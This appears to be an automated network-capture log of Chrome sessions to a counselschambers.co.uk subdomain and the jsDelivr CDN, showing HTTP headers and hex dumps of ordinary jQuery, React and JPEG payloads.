if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-14 09:08:32 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-14 09:08:32 UTC	16014	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-14 09:08:32 UTC	16384	IN	Data Raw: 64 43 68 69 6c 64 28 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6f 70 74 69 6f 6e 22 29 29 2c 74 74 2e 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 2c 79 2e 63 68 65 63 6b 4f 6e 3d 22 22 21 3d 3d 74 74 2e 76 61 6c 75 65 2c 79 2e 6f 70 74 53 65 6c 65 63 74 65 64 3d 6e 74 2e 73 65 6c 65 63 74 65 64 2c 28 74 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 74 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 79 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 74 74 2e 76 61 6c 75 65 3b 76 61 72 20 63 74 2c 66 74 3d 53 2e 65 78 70 72 2e 61 74 74 72 48 61 6e 64 6c 65 3b 53 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 24 Data Ascii: dChild(E.createElement("option")),tt.type="checkbox",y.checkOn=""!==tt.value,y.optSelected=nt.selected,(tt=E.createElement("input")).value="t",tt.type="radio",y.radioValue="t"===tt.value;var ct,ft=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $
2025-03-14 09:08:32 UTC	7951	IN	Data Raw: 75 64 6f 73 2e 76 69 73 69 62 6c 65 28 65 29 7d 2c 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 76 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 28 65 2e 6f 66 66 73 65 74 57 69 64 74 68 7c 7c 65 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7c 7c 65 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 43 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 65 29 7b 7d 7d 3b 76 61 72 20 42 74 3d 7b 30 3a 32 30 30 2c 31 32 32 33 3a 32 30 34 7d 2c 24 74 3d 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 28 29 3b 79 2e 63 6f 72 73 3d 21 21 24 74 26 26 Data Ascii: udos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth\|\|e.offsetHeight\|\|e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var Bt={0:200,1223:204},$t=S.ajaxSettings.xhr();y.cors=!!$t&&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	151.101.65.229	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:32 UTC	647	OUT	GET /npm/react/umd/react.production.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive Origin: https://case-id-1000228259003.counselschambers.co.uk sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:33 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10751 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 18.3.1 X-JSD-Version-Type: version ETag: W/"29ff-qneuTEn1Jbwh3h0E8Ipdc5YsfM4" Accept-Ranges: bytes Age: 7330 Date: Fri, 14 Mar 2025 09:08:32 GMT X-Served-By: cache-fra-eddf8230081-FRA, cache-nyc-kteb1890043-NYC X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 52 65 61 63 74 0a 20 2a 20 72 65 61 63 74 2e 70 72 6f 64 75 63 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 61 6e 64 20 69 74 73 20 61 66 66 69 6c 69 61 74 65 73 2e 0a 20 2a 0a 20 2a 20 54 68 69 73 20 73 6f 75 72 63 65 20 63 6f 64 65 20 69 73 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 0a 20 2a 20 4c 49 43 45 4e 53 45 20 66 69 6c 65 20 69 6e 20 74 68 65 20 72 6f 6f 74 20 64 69 72 65 63 74 6f 72 79 20 6f 66 20 74 68 69 73 20 73 6f 75 72 63 65 20 74 72 65 65 2e 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 Data Ascii: /** * @license React * react.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */(function(){'use s
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 24 22 2b 61 2e 72 65 70 6c 61 63 65 28 2f 5b 3d 3a 5d 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 62 5b 61 5d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 61 2c 62 29 7b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f 66 20 61 26 26 6e 75 6c 6c 21 3d 3d 61 26 26 6e 75 6c 6c 21 3d 61 2e 6b 65 79 3f 70 61 28 22 22 2b 61 2e 6b 65 79 29 3a 62 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 7d 66 75 6e 63 74 69 6f 6e 20 42 28 61 2c 62 2c 65 2c 6d 2c 64 29 7b 76 61 72 20 63 3d 74 79 70 65 6f 66 20 61 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 63 7c 7c 22 62 6f 6f 6c 65 61 6e 22 3d 3d 3d 63 29 61 3d 6e 75 6c 6c 3b 76 61 72 20 68 3d 21 31 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 61 29 68 3d 21 30 3b 65 6c 73 65 20 73 77 69 74 63 68 Data Ascii: $"+a.replace(/[=:]/g,function(a){return b[a]})}function N(a,b){return"object"===typeof a&&null!==a&&null!=a.key?pa(""+a.key):b.toString(36)}function B(a,b,e,m,d){var c=typeof a;if("undefined"===c\|\|"boolean"===c)a=null;var h=!1;if(null===a)h=!0;else switch
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 3d 61 2e 5f 73 74 61 74 75 73 26 26 28 61 2e 5f 73 74 61 74 75 73 3d 0a 30 2c 61 2e 5f 72 65 73 75 6c 74 3d 62 29 7d 69 66 28 31 3d 3d 3d 61 2e 5f 73 74 61 74 75 73 29 72 65 74 75 72 6e 20 61 2e 5f 72 65 73 75 6c 74 2e 64 65 66 61 75 6c 74 3b 74 68 72 6f 77 20 61 2e 5f 72 65 73 75 6c 74 3b 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 61 2c 62 29 7b 76 61 72 20 65 3d 61 2e 6c 65 6e 67 74 68 3b 61 2e 70 75 73 68 28 62 29 3b 61 3a 66 6f 72 28 3b 30 3c 65 3b 29 7b 76 61 72 20 63 3d 65 2d 31 3e 3e 3e 31 2c 64 3d 61 5b 63 5d 3b 69 66 28 30 3c 44 28 64 2c 62 29 29 61 5b 63 5d 3d 62 2c 61 5b 65 5d 3d 64 2c 65 3d 63 3b 65 6c 73 65 20 62 72 65 61 6b 20 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 61 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 61 2e 6c 65 6e 67 74 68 3f 6e 75 6c 6c Data Ascii: =a._status&&(a._status=0,a._result=b)}if(1===a._status)return a._result.default;throw a._result;}function O(a,b){var e=a.length;a.push(b);a:for(;0<e;){var c=e-1>>>1,d=a[c];if(0<D(d,b))a[c]=b,a[e]=d,e=c;else break a}}function p(a){return 0===a.length?null
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 7b 61 28 76 28 29 29 7d 2c 62 29 7d 66 75 6e 63 74 69 6f 6e 20 6b 61 28 61 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 63 74 28 2e 2e 2e 29 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 69 6e 20 70 72 6f 64 75 63 74 69 6f 6e 20 62 75 69 6c 64 73 20 6f 66 20 52 65 61 63 74 2e 22 29 3b 7d 76 61 72 20 79 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 65 6c 65 6d 65 6e 74 22 29 2c 71 61 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 70 6f 72 74 61 6c 22 29 2c 73 61 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 66 72 61 67 6d 65 6e 74 22 29 2c 0a 74 61 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 73 74 72 69 63 74 5f 6d 6f 64 65 22 29 2c 75 61 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 70 72 Data Ascii: {a(v())},b)}function ka(a){throw Error("act(...) is not supported in production builds of React.");}var y=Symbol.for("react.element"),qa=Symbol.for("react.portal"),sa=Symbol.for("react.fragment"),ta=Symbol.for("react.strict_mode"),ua=Symbol.for("react.pr
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 76 61 72 20 42 61 3d 70 65 72 66 6f 72 6d 61 6e 63 65 3b 76 61 72 20 76 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 61 2e 6e 6f 77 28 29 7d 7d 65 6c 73 65 7b 76 61 72 20 6d 61 3d 44 61 74 65 2c 43 61 3d 6d 61 2e 6e 6f 77 28 29 3b 76 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 61 2e 6e 6f 77 28 29 2d 43 61 7d 7d 76 61 72 20 71 3d 5b 5d 2c 72 3d 5b 5d 2c 44 61 3d 31 2c 6e 3d 6e 75 6c 6c 2c 6b 3d 33 2c 46 3d 21 31 2c 75 3d 21 31 2c 7a 3d 21 31 2c 6a 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 73 65 74 54 69 6d 65 6f 75 74 3f 73 65 74 54 69 6d 65 6f 75 74 3a 6e 75 6c 6c 2c 65 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 63 6c 65 61 72 54 69 6d 65 6f 75 74 3f 63 6c 65 61 72 54 69 6d 65 Data Ascii: var Ba=performance;var v=function(){return Ba.now()}}else{var ma=Date,Ca=ma.now();v=function(){return ma.now()-Ca}}var q=[],r=[],Da=1,n=null,k=3,F=!1,u=!1,z=!1,ja="function"===typeof setTimeout?setTimeout:null,ea="function"===typeof clearTimeout?clearTime
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 61 2c 0a 62 2c 63 29 7b 76 61 72 20 65 3d 76 28 29 3b 22 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f 66 20 63 26 26 6e 75 6c 6c 21 3d 3d 63 3f 28 63 3d 63 2e 64 65 6c 61 79 2c 63 3d 22 6e 75 6d 62 65 72 22 3d 3d 3d 74 79 70 65 6f 66 20 63 26 26 30 3c 63 3f 65 2b 63 3a 65 29 3a 63 3d 65 3b 73 77 69 74 63 68 28 61 29 7b 63 61 73 65 20 31 3a 76 61 72 20 64 3d 2d 31 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 64 3d 32 35 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 35 3a 64 3d 31 30 37 33 37 34 31 38 32 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 64 3d 31 45 34 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 64 3d 35 45 33 7d 64 3d 63 2b 64 3b 61 3d 7b 69 64 3a 44 61 2b 2b 2c 63 61 6c 6c 62 61 63 6b 3a 62 2c 70 72 69 6f 72 69 74 79 4c 65 76 65 6c 3a 61 2c 73 74 61 72 Data Ascii: a,b,c){var e=v();"object"===typeof c&&null!==c?(c=c.delay,c="number"===typeof c&&0<c?e+c:e):c=e;switch(a){case 1:var d=-1;break;case 2:d=250;break;case 5:d=1073741823;break;case 4:d=1E4;break;default:d=5E3}d=c+d;a={id:Da++,callback:b,priorityLevel:a,star
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 2e 6f 6e 6c 79 20 65 78 70 65 63 74 65 64 20 74 6f 20 72 65 63 65 69 76 65 20 61 20 73 69 6e 67 6c 65 20 52 65 61 63 74 20 65 6c 65 6d 65 6e 74 20 63 68 69 6c 64 2e 22 29 3b 72 65 74 75 72 6e 20 61 7d 7d 3b 63 2e 43 6f 6d 70 6f 6e 65 6e 74 3d 77 3b 63 2e 46 72 61 67 6d 65 6e 74 3d 73 61 3b 63 2e 50 72 6f 66 69 6c 65 72 3d 75 61 3b 63 2e 50 75 72 65 43 6f 6d 70 6f 6e 65 6e 74 3d 4b 3b 63 2e 53 74 72 69 63 74 4d 6f 64 65 3d 74 61 3b 63 2e 53 75 73 70 65 6e 73 65 3d 79 61 3b 63 2e 5f 5f 53 45 43 52 45 54 5f 49 4e 54 45 52 4e 41 4c 53 5f 44 4f 5f 4e 4f 54 5f 55 53 45 5f 4f 52 5f 59 4f 55 5f 57 49 4c 4c 5f 42 45 5f 46 49 52 45 44 3d 0a 74 3b 63 2e 61 63 74 3d 6b 61 3b 63 2e 63 6c 6f 6e 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b Data Ascii: .only expected to receive a single React element child.");return a}};c.Component=w;c.Fragment=sa;c.Profiler=ua;c.PureComponent=K;c.StrictMode=ta;c.Suspense=ya;c.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=t;c.act=ka;c.cloneElement=function(a,b,c){
2025-03-14 09:08:33 UTC	1105	IN	Data Raw: 61 2c 74 79 70 65 3a 61 2c 63 6f 6d 70 61 72 65 3a 76 6f 69 64 20 30 3d 3d 3d 62 3f 6e 75 6c 6c 3a 62 7d 7d 3b 63 2e 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 4a 2e 74 72 61 6e 73 69 74 69 6f 6e 3b 4a 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 7b 7d 3b 74 72 79 7b 61 28 29 7d 66 69 6e 61 6c 6c 79 7b 4a 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 62 7d 7d 3b 63 2e 75 6e 73 74 61 62 6c 65 5f 61 63 74 3d 6b 61 3b 63 2e 75 73 65 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 67 2e 63 75 72 72 65 6e 74 2e 75 73 65 43 61 6c 6c 62 61 63 6b 28 61 2c 62 29 7d 3b 63 2e 75 73 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 67 2e 63 75 72 72 65 6e 74 Data Ascii: a,type:a,compare:void 0===b?null:b}};c.startTransition=function(a,b){b=J.transition;J.transition={};try{a()}finally{J.transition=b}};c.unstable_act=ka;c.useCallback=function(a,b){return g.current.useCallback(a,b)};c.useContext=function(a){return g.current

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	104.21.70.234	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:32 UTC	710	OUT	GET /190947209_1002880900116912_4375102209501448340_n-8956b37a.jpg HTTP/1.1 Host: case-id-1000228259003.counselschambers.co.uk Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://case-id-1000228259003.counselschambers.co.uk/help.html Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:33 UTC	953	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:33 GMT Content-Type: image/jpeg Content-Length: 32608 Connection: close Last-Modified: Sun, 09 Feb 2025 14:24:06 GMT ETag: "7f60-62db65825aadf" Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FejsZZfmEF%2Bmsx3YFgvKYA34v%2BC2%2BvEWQqio1%2BVajhP0uSF9YFnG0Ru8PXQLNlmaXHCZi3gsMhpRCUyyijI7UsG%2FNz1yvbCWF4bpLdBUgtm%2B63zT3OF6EA7cVj4t59M4BAcuWy8%2BJ2CNPGAeGYabZ8%2F7MqWHnSx7CLG%2Ba3nf3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a08a4cd842bd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1743&min_rtt=1686&rtt_var=747&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2857&recv_bytes=1282&delivery_rate=1359404&cwnd=206&unsent_bytes=0&cid=d8bc3a7b7f1df73e&ts=424&x=0"
2025-03-14 09:08:33 UTC	416	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 67 1c 02 28 00 62 46 42 4d 44 30 31 30 30 30 61 38 63 30 31 30 30 30 30 33 66 31 35 30 30 30 30 39 62 32 34 30 30 30 30 33 63 32 61 30 30 30 30 31 38 33 31 30 30 30 30 34 64 33 64 30 30 30 30 30 35 34 66 30 30 30 30 39 62 35 37 30 30 30 30 31 30 35 64 30 30 30 30 38 34 36 33 30 30 30 30 36 30 37 66 30 30 30 30 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 Data Ascii: JFIFPhotoshop 3.08BIMg(bFBMD01000a8c0100003f1500009b2400003c2a0000183100004d3d0000054f00009b570000105d000084630000607f0000C $.' ",#(7),01444'9=82<.342C2!!2222222222222
2025-03-14 09:08:33 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 8f df 25 56 c3 df 2e 28 63 2f 36 2d 66 3e b6 de 6a 3c f7 cd c3 53 2f 9e ec 5a fc bc f6 f2 9e 71 59 43 27 9e e4 3c f4 00 00 00 00 00 00 00 00 00 01 19 23 57 11 b9 6a ad 96 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 0f 50 43 28 dd f3 59 0f 48 ec e2 d7 e3 38 dd 8a b7 9d 23 37 91 25 e6 7e 62 3d f0 f4 00 00 00 00 19 4b 03 c5 c9 b5 a8 4b 73 Data Ascii: <%V.(c/6-f>j<S/ZqYC'<#WjPC(YH8#7%~b=KKs
2025-03-14 09:08:33 UTC	1369	IN	Data Raw: db 39 59 f1 d6 6b 01 09 bc f7 c3 ed 1b 3a 57 79 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 53 b9 56 71 e7 c6 95 00 00 00 00 00 ea 86 56 88 00 00 ad 36 9f 87 69 2a 56 cb 3f 43 5d af e8 f9 cf a7 f9 f0 d5 cf 00 00 00 00 0e c3 75 a5 dd 60 6a ea 78 2e f7 82 bb 5e 6c f0 cf 46 90 7a 00 04 d0 cd e7 bf 44 1f 37 b3 c3 69 b7 3a 6d 9c db 02 e5 70 00 00 00 00 6e b4 bb fe 1d 7a b1 83 aa 00 0e 5b a9 af c3 be a6 5a 31 50 bd b3 6b f1 36 58 eb 32 f3 db 36 6a db 94 21 f9 27 d2 3e 6f a1 44 2c d7 01 e7 be 1f 73 b1 5e c7 39 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a b6 aa ca 3c f8 d3 a0 00 00 00 00 1d 50 ca d1 00 01 83 ca dc e7 51 ae a9 72 b6 55 a3 a5 73 1d 2f 59 cf 6c e5 52 1f 49 86 00 00 00 00 90 eb 37 5a 7d c6 06 ae a7 82 ef f8 6b 95 d9 e5 9e 8d 38 92 Data Ascii: 9Yk:WySVqV6i*V?C]u`jx.^lFzD7i:mpnz[Z1Pk6X26j!'>oD,s^9<PQrUs/YlRI7Z}k8
2025-03-14 09:08:33 UTC	1369	IN	Data Raw: 78 37 b2 83 d0 00 00 e8 79 ee 86 bf 5e a4 61 6a 80 00 00 00 00 00 00 e5 ba 9e 5b bf 2e 62 68 66 db cb 09 f8 00 00 61 47 63 52 bf 6a b1 65 8d 7e a0 00 00 17 a8 dd a5 38 84 24 00 00 00 00 00 00 00 00 3d f0 6c fe 85 f2 cd bf 9e fd 2d 5e c6 65 d0 f3 d0 18 43 c2 f7 e5 b3 e6 21 82 fd 49 11 c8 58 8a 3c a5 e6 db b0 f9 e5 ac db bd cb 49 47 3e e7 61 72 2b 7d b9 07 48 00 00 00 00 02 ad aa b2 8f 3e 34 e8 00 00 00 00 07 54 32 b4 40 00 00 18 66 79 0f 93 e1 2f 39 9e 7b bf e0 75 f3 fc 17 2b 80 00 0e 87 9e e8 6b f5 ea 46 16 a8 00 00 00 00 00 00 0e 5b a9 e5 bb f2 e6 26 86 6d bc b0 9f 80 00 36 91 f7 aa e2 7e 85 f3 9c 9b fa 11 63 90 00 00 f7 c1 76 95 da 53 88 42 40 00 00 00 00 00 00 00 00 09 23 1d 0f 7f f2 5e 87 9c bb d6 39 67 5d 6a f5 dc 7d ca d6 35 98 e3 6f 80 47 d0 32 b3 Data Ascii: x7y^aj[.bhfaGcRje~8$=l-^eC!IX<IG>ar+}H>4T2@fy/9{u+kF[&m6~cvSB@#^9g]j}5oG2
2025-03-14 09:08:33 UTC	1369	IN	Data Raw: 51 09 80 02 ad aa b2 8f 3e 34 e8 00 00 00 00 07 54 32 b4 40 02 3c 33 c2 70 00 00 00 00 00 00 00 00 00 02 bf 3f d4 3b 73 e1 77 db c7 5e 78 e4 55 ee 1e 7a 00 00 00 00 00 01 ef cc fe 99 f2 ee fc a9 0b 7c 00 00 06 78 66 66 f7 d9 c7 0f 72 1e 65 8e 24 d9 55 c4 bb 85 41 3c 58 a3 eb e8 bf 3a ec b8 75 ea c5 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b1 c8 94 42 60 00 ab 6a ac a3 cf 8d 3a 00 00 00 00 01 d5 0c ad 10 00 8f 0c f0 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 72 5d 6a 51 f9 13 a7 e7 b4 2a c2 64 62 00 00 00 00 00 00 07 43 cf 75 7c e5 d9 0a 36 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 63 91 28 84 c0 01 56 d5 59 47 9f 1a 74 00 00 00 00 03 aa 19 5a 20 01 1e 19 e1 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 21 Data Ascii: Q>4T2@<3p?;sw^xUz\|xffre$UA<X:u;B`j:r]jQ*dbCu\|6c(VYGtZ 8!
